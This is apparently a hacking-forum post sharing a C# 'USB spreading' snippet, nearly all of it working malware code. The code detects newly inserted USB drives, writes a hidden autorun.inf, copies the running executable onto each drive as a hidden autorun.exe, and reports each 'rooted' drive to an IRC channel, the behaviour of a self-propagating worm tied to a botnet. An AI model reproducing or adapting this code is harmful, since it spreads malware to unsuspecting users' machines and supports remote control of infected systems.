• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

C# USB spreading [Snippet] [C# ]

Status
Not open for further replies.

Nax

Leech
User
Joined
Oct 18, 2011
Messages
275
Reputation
0
Reaction score
115
Points
43
Credits
0
‎13 Years of Service‎
92%
Code:
>using System;
using System.Diagnostics;
using System.IO;
using System.Management;
using System.Threading;

namespace myApp
{
   internal class Usb
   {
       private static ManagementEventWatcher w;

       public static void Listen()
       {
           WqlEventQuery q;
           var scope = new ManagementScope("root\\CIMV2");
           scope.Options.EnablePrivileges = true;

           try
           {
               q = new WqlEventQuery();
               q.EventClassName = "__InstanceCreationEvent";
               q.WithinInterval = new TimeSpan(0, 0, 3);
               q.Condition = @"TargetInstance ISA 'Win32_USBControllerdevice'";
               w = new ManagementEventWatcher(scope, q);
               w.EventArrived += UsbAdded;
               w.Start();
           }

           catch
           {
               if (w != null)
                   w.Stop();
           }
       }

       public static void UsbAdded(object sender, EventArgs e)
       {
           DriveInfo[] drives = DriveInfo.GetDrives();
           foreach (DriveInfo drive in drives)
           {
               if (drive.DriveType == DriveType.Removable)
               {
                   try
                   {
                       if (File.Exists(drive.Name + "autorun.inf"))
                       {
                           File.Delete(drive.Name + "autorun.inf");
                       }
                       if (File.Exists(drive.Name + "autorun.exe"))
                       {
                           File.Delete(drive.Name + "autorun.exe");
                       }
                   }
                   catch
                   {
                   }


                   var sw = new StreamWriter(drive.Name + "autorun.inf");
                   sw.WriteLine("[autorun]");
                   sw.WriteLine("label=USB Drive");
                   sw.WriteLine("icon=%SystemRoot%\\system32\\SHELL32.dll,8");
                   sw.WriteLine("open=autorun.exe");
                   sw.WriteLine("shellexecute=autorun.exe");
                   sw.WriteLine("action=USB Drive explorer");
                   sw.Close();
                   File.SetAttributes(drive.Name + "autorun.inf",
                                      File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.System |
                                      FileAttributes.Hidden | FileAttributes.NotContentIndexed |
                                      FileAttributes.ReadOnly);

                   try
                   {
                       File.Copy(Process.GetCurrentProcess().MainModule.FileName, drive.Name + "autorun.exe");
                       File.SetAttributes(drive.Name + "autorun.exe",
                                          File.GetAttributes(drive.Name + "autorun.exe") | FileAttributes.System |
                                          FileAttributes.Hidden | FileAttributes.NotContentIndexed |
                                          FileAttributes.ReadOnly);
                       Program.Writer.WriteLine("PRIVMSG " + Program.CHANNEL + " :  " + drive.Name + " successfully rooted");
                   }
                   finally
                   {
                       Thread.Sleep(2000);
                   }
               }
               if (w != null)
                   w.Stop();
               w.Start();
           }
       }
   }
}
 
Status
Not open for further replies.
Back
Top